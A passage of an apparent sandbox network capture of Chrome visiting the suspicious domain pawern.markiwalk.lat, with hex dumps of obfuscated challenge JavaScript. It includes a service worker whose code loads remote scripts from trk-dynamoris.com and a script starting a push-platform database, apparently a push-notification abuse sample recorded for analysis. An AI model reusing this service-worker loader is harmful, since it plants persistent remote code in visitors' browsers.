5(322)](a5(335),a5(358)),K={},K[a5(367)]=D,K[a5(333)]=J,K[a5(296)]=a5(308),L=h[a5(298)](JSON[a5(285)](K))[a5(282)]('+',a5(286)),G[a5(353)]('v_'+E.r+'='+L)}catch(M){}}function k(c,d,a4,B,C){a4=V,B={'wp':h[a4(298)](JSON[a4(285)](d)),'s':a4(269)},C=new XMLHt
2024-10-03 16:18:16 UTC	1369	IN	Data Raw: 72 69 6e 67 2c 73 70 6c 69 74 2c 63 6c 69 65 6e 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 2c 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 2c 53 65 74 2c 41 34 43 66 72 79 6f 63 65 67 61 64 57 56 48 39 6c 31 4d 42 58 59 77 33 4f 70 49 51 24 46 69 6a 50 32 55 4c 52 37 7a 71 30 47 54 44 76 2b 36 5a 68 6e 73 6b 78 4b 53 38 45 4a 35 6d 2d 75 62 74 4e 2c 6f 62 6a 65 63 74 2c 64 6f 63 75 6d 65 6e 74 2c 63 68 6c 41 70 69 55 72 6c 2c 63 68 61 72 43 6f 64 65 41 74 2c 66 72 6f 6d 43 68 61 72 43 6f 64 65 2c 6d 73 67 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 2c 5f 63 66 5f 63 68 6c 5f 6f 70 74 3b 6d 70 55 61 4c 32 3b 46 78 4f 6e 72 33 3b 4b 55 6a 49 78 33 3b 74 6c 4c Data Ascii: ring,split,clientInformation,application/x-www-form-urlencoded,XMLHttpRequest,Set,A4CfryocegadWVH9l1MBXYw3OpIQ$FijP2ULR7zq0GTDv+6ZhnskxKS8EJ5m-ubtN,object,document,chlApiUrl,charCodeAt,fromCharCode,msg,addEventListener,_cf_chl_opt;mpUaL2;FxOnr3;KUjIx3;tlL
2024-10-03 16:18:16 UTC	389	IN	Data Raw: 2e 74 29 29 2c 43 3d 4d 61 74 68 5b 61 33 28 32 38 34 29 5d 28 44 61 74 65 5b 61 33 28 33 31 34 29 5d 28 29 2f 31 65 33 29 2c 43 2d 42 3e 64 29 29 72 65 74 75 72 6e 21 5b 5d 3b 72 65 74 75 72 6e 21 21 5b 5d 7d 66 75 6e 63 74 69 6f 6e 20 41 28 61 65 2c 63 2c 64 2c 42 2c 43 29 7b 69 66 28 61 65 3d 56 2c 63 3d 66 5b 61 65 28 32 37 32 29 5d 2c 21 63 29 72 65 74 75 72 6e 3b 69 66 28 21 6a 28 29 29 72 65 74 75 72 6e 3b 28 64 3d 21 5b 5d 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 66 2c 44 29 7b 28 61 66 3d 61 65 2c 21 64 29 26 26 28 64 3d 21 21 5b 5d 2c 44 3d 7a 28 29 2c 6b 28 63 2e 72 2c 44 2e 72 29 2c 44 2e 65 26 26 6c 28 61 66 28 33 30 35 29 2c 44 2e 65 29 29 7d 2c 67 5b 61 65 28 33 35 31 29 5d 21 3d 3d 61 65 28 32 38 37 29 29 3f 42 28 29 3a 66 5b 61 65 28 33 36 Data Ascii: .t)),C=Math[a3(284)](Date[a3(314)]()/1e3),C-B>d))return![];return!![]}function A(ae,c,d,B,C){if(ae=V,c=f[ae(272)],!c)return;if(!j())return;(d=![],B=function(af,D){(af=ae,!d)&&(d=!![],D=z(),k(c.r,D.r),D.e&&l(af(305),D.e))},g[ae(351)]!==ae(287))?B():f[ae(36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49778	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:16 UTC	407	OUT	GET /favicon.ico HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:16 UTC	812	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:16 GMT Content-Type: image/x-icon Content-Length: 0 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:25:27 GMT last-modified: Tue, 11 Jun 2024 20:46:17 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3169 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cuxjEAt%2FYr63g2cCYrC%2FKg1c5zSNNhO3wYQPphNDaE%2B65b%2FUruomuZNlPfkzAxEDJz%2BOTEmuA6ctb8v61IegNTcY9P4hdsd%2Bu%2FCyBwqeSgn7ffy6Bfz%2FMgZlPpG13xVLfGXMx%2B5kyQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f43de2d7d11-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49779	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:16 UTC	578	OUT	GET /service-worker.js HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:16 UTC	816	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:16 GMT Content-Type: application/javascript Content-Length: 187 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:25:27 GMT last-modified: Fri, 21 Jun 2024 16:04:09 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3169 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zZoTfWvgtJfGQzgKk71PzhoCaz%2B3ugbQB2fRF7u%2FIw5TvTVrQyaiz9tT77hiO1SFNdD8XujwtwO8PUfSISF3fVJYPZ2FZ0%2B%2FlV1X1v4wSwxKxrwqAb19qtY3zYCjX54ZWR%2BxuhfYyw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f441f7b8c69-EWR
2024-10-03 16:18:16 UTC	187	IN	Data Raw: 2f 2f 20 67 65 6e 65 72 61 6c 0a 69 66 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 20 3d 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 7b 0a 20 20 20 20 20 20 20 20 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 74 72 6b 2d 64 79 6e 61 6d 6f 72 69 73 2e 63 6f 6d 2f 73 63 72 69 70 74 73 2f 70 67 2f 76 39 65 31 31 38 6d 65 7a 38 27 29 0a 7d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 74 72 6b 2d 64 79 6e 61 6d 6f 72 69 73 2e 63 6f 6d 2f 73 63 72 69 70 74 73 2f 73 77 2f 76 39 65 31 31 38 6d 65 7a 38 27 29 3b 0a Data Ascii: // generalif(typeof window === 'undefined'){ importScripts('https://trk-dynamoris.com/scripts/pg/v9e118mez8')}importScripts('https://trk-dynamoris.com/scripts/sw/v9e118mez8');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49780	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:16 UTC	460	OUT	GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:16 UTC	654	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:16 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 8097 Connection: close cache-control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PtZolyYpSpn4oI1sE0HC7MtdpeXk7BbHxnjPg7bIrca68fSdoZfPonUMQ5TCMGUZue10h7WMSRh5xYN5nBnlRXTgFFy4XJRlcm0pU60vNt4nk9B7PKrGD2iM8sRIS7%2FU3gFH7TVfqQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f47eaf642e2-EWR
2024-10-03 16:18:16 UTC	715	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 67 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 56 2c 67 2c 68 2c 69 2c 6a 2c 6e 2c 6f 2c 41 29 7b 56 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 55 2c 66 2c 43 29 7b 66 6f 72 28 55 3d 62 2c 66 3d 64 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 43 3d 2d 70 61 72 73 65 49 6e 74 28 55 28 35 34 35 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 55 28 35 32 39 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 55 28 35 30 34 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 55 28 35 33 36 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 55 28 35 33 34 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 36 30 30 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 55 28 35 32 30 29 29 2f 37 29 2b 70 61 72 Data Ascii: window._cf_chl_opt={cFPWv:'g'};~function(V,g,h,i,j,n,o,A){V=b,function(d,e,U,f,C){for(U=b,f=d();!![];)try{if(C=-parseInt(U(545))/1(parseInt(U(529))/2)+parseInt(U(504))/3+parseInt(U(536))/4(parseInt(U(534))/5)+-parseInt(U(600))/6*(parseInt(U(520))/7)+par
2024-10-03 16:18:16 UTC	1369	IN	Data Raw: 35 37 35 29 5d 26 26 43 5b 61 30 28 35 36 37 29 5d 3f 43 5b 61 30 28 35 32 37 29 5d 5b 61 30 28 35 37 35 29 5d 28 6e 65 77 20 43 5b 28 61 30 28 35 36 37 29 29 5d 28 48 29 29 3a 66 75 6e 63 74 69 6f 6e 28 4e 2c 61 31 2c 4f 29 7b 66 6f 72 28 61 31 3d 61 30 2c 4e 5b 61 31 28 35 37 30 29 5d 28 29 2c 4f 3d 30 3b 4f 3c 4e 5b 61 31 28 35 38 30 29 5d 3b 4e 5b 4f 2b 31 5d 3d 3d 3d 4e 5b 4f 5d 3f 4e 5b 61 31 28 35 34 34 29 5d 28 4f 2b 31 2c 31 29 3a 4f 2b 3d 31 29 3b 72 65 74 75 72 6e 20 4e 7d 28 48 29 2c 49 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 49 3d 49 5b 61 30 28 35 39 32 29 5d 5b 61 30 28 35 36 39 29 5d 28 49 29 2c 4a 3d 30 3b 4a 3c 48 5b 61 30 28 35 38 30 29 5d 3b 4b 3d 48 5b 4a 5d 2c 4c 3d 6c 28 43 2c 44 2c 4b 29 2c 49 28 4c 29 3f Data Ascii: 575)]&&C[a0(567)]?C[a0(527)][a0(575)](new C[(a0(567))](H)):function(N,a1,O){for(a1=a0,N[a1(570)](),O=0;O<N[a1(580)];N[O+1]===N[O]?N[a1(544)](O+1,1):O+=1);return N}(H),I='nAsAaAb'.split('A'),I=I[a0(592)][a0(569)](I),J=0;J<H[a0(580)];K=H[J],L=l(C,D,K),I(L)?
2024-10-03 16:18:16 UTC	1369	IN	Data Raw: 61 61 28 35 31 38 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 54 3e 3e 3d 31 2c 47 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 54 3d 31 2c 47 3d 30 3b 47 3c 4d 3b 4f 3d 4f 3c 3c 31 2e 33 38 7c 54 2c 45 2d 31 3d 3d 50 3f 28 50 3d 30 2c 4e 5b 61 61 28 35 31 38 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 54 3d 30 2c 47 2b 2b 29 3b 66 6f 72 28 54 3d 4a 5b 61 61 28 35 35 32 29 5d 28 30 29 2c 47 3d 30 3b 31 36 3e 47 3b 4f 3d 54 26 31 2e 36 31 7c 4f 3c 3c 31 2e 36 38 2c 50 3d 3d 45 2d 31 3f 28 50 3d 30 2c 4e 5b 61 61 28 35 31 38 29 5d 28 46 28 4f 29 29 2c 4f 3d 30 29 3a 50 2b 2b 2c 54 3e 3e 3d 31 2c 47 2b 2b 29 3b 7d 4b 2d 2d 2c 4b 3d 3d 30 26 26 28 4b 3d 4d 61 74 68 5b 61 61 28 35 36 34 29 5d 28 32 2c 4d 29 2c 4d 2b 2b 29 2c 64 65 6c 65 74 65 Data Ascii: aa(518)](F(O)),O=0):P++,T>>=1,G++);}else{for(T=1,G=0;G<M;O=O<<1.38\|T,E-1==P?(P=0,N[aa(518)](F(O)),O=0):P++,T=0,G++);for(T=J[aa(552)](0),G=0;16>G;O=T&1.61\|O<<1.68,P==E-1?(P=0,N[aa(518)](F(O)),O=0):P++,T>>=1,G++);}K--,K==0&&(K=Math[aa(564)](2,M),M++),delete
2024-10-03 16:18:16 UTC	1369	IN	Data Raw: 68 5b 61 64 28 35 36 34 29 5d 28 32 2c 32 29 2c 4d 3d 31 3b 52 21 3d 4d 3b 53 3d 4e 26 4f 2c 4f 3e 3e 3d 31 2c 30 3d 3d 4f 26 26 28 4f 3d 45 2c 4e 3d 46 28 50 2b 2b 29 29 2c 51 7c 3d 4d 2a 28 30 3c 53 3f 31 3a 30 29 2c 4d 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 51 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 51 3d 30 2c 52 3d 4d 61 74 68 5b 61 64 28 35 36 34 29 5d 28 32 2c 38 29 2c 4d 3d 31 3b 52 21 3d 4d 3b 53 3d 4e 26 4f 2c 4f 3e 3e 3d 31 2c 4f 3d 3d 30 26 26 28 4f 3d 45 2c 4e 3d 46 28 50 2b 2b 29 29 2c 51 7c 3d 4d 2a 28 30 3c 53 3f 31 3a 30 29 2c 4d 3c 3c 3d 31 29 3b 54 3d 65 28 51 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 51 3d 30 2c 52 3d 4d 61 74 68 5b 61 64 28 35 36 34 29 5d 28 32 2c 31 36 29 2c 4d 3d 31 3b 4d 21 3d 52 3b 53 3d 4e 26 4f 2c Data Ascii: h[ad(564)](2,2),M=1;R!=M;S=N&O,O>>=1,0==O&&(O=E,N=F(P++)),Q\|=M(0<S?1:0),M<<=1);switch(Q){case 0:for(Q=0,R=Math[ad(564)](2,8),M=1;R!=M;S=N&O,O>>=1,O==0&&(O=E,N=F(P++)),Q\|=M(0<S?1:0),M<<=1);T=e(Q);break;case 1:for(Q=0,R=Math[ad(564)](2,16),M=1;M!=R;S=N&O,
2024-10-03 16:18:16 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 48 5b 61 37 28 35 35 34 29 5d 28 61 37 28 36 30 33 29 2c 61 37 28 35 35 38 29 29 2c 4c 3d 7b 7d 2c 4c 5b 61 37 28 36 30 38 29 5d 3d 45 2c 4c 5b 61 37 28 35 30 35 29 5d 3d 4b 2c 4c 5b 61 37 28 35 37 37 29 5d 3d 61 37 28 35 31 32 29 2c 4d 3d 41 5b 61 37 28 35 38 31 29 5d 28 4a 53 4f 4e 5b 61 37 28 35 36 33 29 5d 28 4c 29 29 5b 61 37 28 35 31 31 29 5d 28 27 2b 27 2c 61 37 28 35 36 38 29 29 2c 48 5b 61 37 28 35 33 31 29 5d 28 27 76 5f 27 2b 46 2e 72 2b 27 3d 27 2b 4d 29 7d 63 61 74 63 68 28 4e 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 79 28 64 2c 65 2c 61 36 2c 66 2c 43 29 7b 61 36 3d 56 2c 66 3d 7b 27 77 70 27 3a 41 5b 61 36 28 35 38 31 29 5d 28 4a 53 4f 4e 5b 61 36 28 35 36 33 29 5d 28 65 29 29 2c 27 73 27 3a 61 36 28 35 39 Data Ascii: unction(){},H[a7(554)](a7(603),a7(558)),L={},L[a7(608)]=E,L[a7(505)]=K,L[a7(577)]=a7(512),M=A[a7(581)](JSON[a7(563)](L))[a7(511)]('+',a7(568)),H[a7(531)]('v_'+F.r+'='+M)}catch(N){}}function y(d,e,a6,f,C){a6=V,f={'wp':A[a6(581)](JSON[a6(563)](e)),'s':a6(59
2024-10-03 16:18:16 UTC	1369	IN	Data Raw: 39 36 39 34 37 34 3a 4a 73 66 4a 46 52 6b 67 78 55 5a 6b 71 73 6e 47 6d 49 65 72 58 69 4f 55 5a 63 44 5a 6b 38 43 36 33 37 75 44 46 43 43 38 68 4e 77 2f 2c 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 2c 66 75 6e 63 74 69 6f 6e 2c 74 61 62 49 6e 64 65 78 2c 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 2c 70 75 73 68 2c 20 2d 20 2c 33 34 30 32 37 37 63 42 65 58 6b 61 2c 73 74 72 69 6e 67 2c 31 31 55 6f 57 6f 43 57 2c 63 6f 6e 63 61 74 2c 6c 6f 61 64 69 6e 67 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 2c 70 72 6f 74 6f 74 79 70 65 2c 41 72 72 61 79 2c 6f 70 65 6e 2c 31 30 32 32 37 32 32 74 47 50 4b 53 49 2c 72 61 6e 64 6f 6d 2c 73 65 6e 64 2c 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 2c 61 70 70 65 6e 64 43 68 69 6c 64 2c 32 31 30 35 37 30 59 Data Ascii: 969474:JsfJFRkgxUZkqsnGmIerXiOUZcDZk8C637uDFCC8hNw/,display: none,function,tabIndex,contentDocument,push, - ,340277cBeXka,string,11UoWoCW,concat,loading,addEventListener,prototype,Array,open,1022722tGPKSI,random,send,onreadystatechange,appendChild,210570Y
2024-10-03 16:18:16 UTC	537	IN	Data Raw: 29 3f 66 28 29 3a 67 5b 61 65 28 35 32 35 29 5d 3f 68 5b 61 65 28 35 32 35 29 5d 28 61 65 28 35 36 31 29 2c 66 29 3a 28 43 3d 68 5b 61 65 28 35 33 32 29 5d 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 68 5b 61 65 28 35 33 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 61 67 29 7b 61 67 3d 61 65 2c 43 28 29 2c 68 5b 61 67 28 35 39 33 29 5d 21 3d 3d 61 67 28 35 32 34 29 26 26 28 68 5b 61 67 28 35 33 32 29 5d 3d 43 2c 66 28 29 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 64 2c 65 2c 57 29 7b 72 65 74 75 72 6e 20 57 3d 56 2c 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 64 5b 57 28 35 37 36 29 5d 26 26 30 3c 64 5b 57 28 35 37 36 29 5d 5b 57 28 35 32 36 29 5d 5b 57 28 35 34 30 29 5d 5b 57 28 35 34 32 29 5d 28 65 29 5b 57 28 35 34 37 29 5d 28 57 28 36 30 35 29 29 7d 66 75 6e Data Ascii: )?f():g[ae(525)]?h[ae(525)](ae(561),f):(C=h[ae(532)]\|\|function(){},h[ae(532)]=function(ag){ag=ae,C(),h[ag(593)]!==ag(524)&&(h[ag(532)]=C,f())})}function k(d,e,W){return W=V,e instanceof d[W(576)]&&0<d[W(576)][W(526)][W(540)][W(542)](e)[W(547)](W(605))}fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49784	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:17 UTC	680	OUT	POST /cdn-cgi/challenge-platform/h/g/jsd/r/8cce3f1f68d419aa HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive Content-Length: 15904 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://pawern.markiwalk.lat Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:17 UTC	15904	OUT	Data Raw: 7b 22 77 70 22 3a 22 56 45 65 50 66 43 34 24 66 49 65 66 4f 79 57 34 53 34 6b 41 64 50 43 6e 41 6f 32 41 4d 73 4d 6c 6c 43 24 34 4b 39 41 72 78 6e 38 78 67 65 41 52 72 2d 58 57 78 49 34 71 41 4f 53 65 63 76 45 45 41 6f 4c 6c 41 48 41 6c 6e 6c 65 34 41 69 6c 34 7a 57 75 50 4c 49 45 36 5a 6a 50 72 78 31 45 32 6f 2b 71 6b 79 63 51 50 7a 31 66 37 32 4a 34 2b 39 72 4c 4d 41 66 65 65 70 4d 52 43 36 76 41 59 63 76 67 30 36 41 30 50 79 52 41 43 37 65 41 4d 50 43 43 50 31 4f 50 4d 41 34 78 41 64 49 55 41 34 4a 36 41 61 35 24 6f 63 45 2d 34 6f 4c 76 65 41 43 35 36 41 43 57 58 64 41 58 43 41 34 36 69 67 68 65 6a 71 32 6e 43 63 43 34 30 7a 32 45 39 66 31 62 33 30 72 41 73 50 43 4d 6d 46 45 41 24 55 45 78 79 67 72 47 69 63 41 58 33 30 4c 31 73 6f 50 41 68 4c 73 67 4d Data Ascii: {"wp":"VEePfC4$fIefOyW4S4kAdPCnAo2AMsMllC$4K9Arxn8xgeARr-XWxI4qAOSecvEEAoLlAHAlnle4Ail4zWuPLIE6ZjPrx1E2o+qkycQPz1f72J4+9rLMAfeepMRC6vAYcvg06A0PyRAC7eAMPCCP1OPMA4xAdIUA4J6Aa5$ocE-4oLveAC56ACWXdAXCA46ighejq2nCcC40z2E9f1b30rAsPCMmFEA$UExygrGicAX30L1soPAhLsgM
2024-10-03 16:18:17 UTC	1238	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:17 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: cf_clearance=; Path=/; Expires=Thu, 01-Jan-70 00:00:00 GMT; Domain=.markiwalk.lat; HttpOnly; Secure; SameSite=None Set-Cookie: cf_clearance=Mu6XuA0a7g3Dzr0CytgV_brTVeqix8KITnc_8YvK_U0-1727972297-1.2.1.1-Mdk5bwj8d9aPgWIaWdtro12oPbLU_AZB2sjyV4o5veq9FKJtZAHhXoF__TH4InBB9bPCHcLrbWgvTJzpIUtm0mEOqotpsBiCoVko5xYyb7uSqKwEa54kDKKf7cK7HXsItT1_t2V9E42MuNBGQdB9pDkKFCXviurLpPrY8qizKTeaIuS79sd8_ybSLbFICrScZp7NRcaERJjELZTcYJ.J53LlmCfSi_KX.p.8tJaJEBx73YLnBlzjjETenTwxYXxvKnpZsTdbGv2B99nu8ZHUEPm26NH4sqSQ6IOBZzR0GThHo41V1KWNmF.OLMY5g45I64DE7wSEIhjPI0rRiwZQZJ_0UR9lv2mB4GRP3vqxFW86dQvR3i20jUA_zFIuehJg; Path=/; Expires=Fri, 03-Oct-25 16:18:17 GMT; Domain=.markiwalk.lat; HttpOnly; Secure; SameSite=None; Partitioned Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P%2BiTXGqiVTJ4vEuzRaEzUUQBhnUki2XhVgBxcjbsi%2Bg5pgRYlRDZjemZRMP6lXeKNw%2B9cj4KY6dHhm9EzMk7DY%2BfivBiyK7Ir0d7pAs4VGeSRHkoUnY92hKN6BMktC2KwZViJGbMLA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f4abfed4378-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49785	172.67.212.151	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:17 UTC	438	OUT	GET /scripts/pg/v9e118mez8 HTTP/1.1 Host: trk-dynamoris.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pawern.markiwalk.lat/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:17 UTC	1346	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:17 GMT Content-Type: application/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: 0 Cache-Control: max-age=14400, must-revalidate x-xss-protection: 1; mode=block pragma: no-cache x-frame-options: SAMEORIGIN referrer-policy: strict-origin-when-cross-origin content-security-policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers x-content-type-options: nosniff permissions-policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() CF-Cache-Status: HIT Age: 4455 Last-Modified: Thu, 03 Oct 2024 15:04:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=txuFUm9Dgub2SSko5gTphnWXih%2Bu7ecS52EfLEfkdwIhq6bsVMQ9OG658iRU6Kc6hRCMd5XJXe52An51%2FlKXASKhEDUDXyYUlw%2F0LZKlYC2cllR2zD6Wgkrtnn0qBLt0YFZiGQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-10-03 16:18:17 UTC	32	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 63 63 65 33 66 34 62 30 65 65 35 34 33 64 64 2d 45 57 52 0d 0a 0d 0a Data Ascii: CF-RAY: 8cce3f4b0ee543dd-EWR
2024-10-03 16:18:17 UTC	1369	IN	Data Raw: 31 66 34 61 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 61 29 7b 74 72 79 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 3d 45 7d 63 61 74 63 68 28 61 29 7b 7d 45 28 61 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 61 29 7b 69 66 28 73 65 6c 66 2e 69 6e 64 65 78 65 64 44 42 29 7b 76 61 72 20 62 3d 47 2e 61 70 70 6c 79 28 73 65 6c 66 2e 69 6e 64 65 78 65 64 44 42 2c 5b 22 70 75 73 68 50 6c 61 74 46 6f 72 6d 44 62 22 2c 32 5d 29 3b 62 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 65 72 72 6f 72 20 64 62 22 2b 62 2e 65 72 72 6f 72 29 2c 61 28 6e 75 6c 6c 29 7d 2c 62 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 2e 72 65 73 75 6c 74 2c 64 3d 63 Data Ascii: 1f4a(function(a,b){function c(a){try{console.log=E}catch(a){}E(a)}function d(a){if(self.indexedDB){var 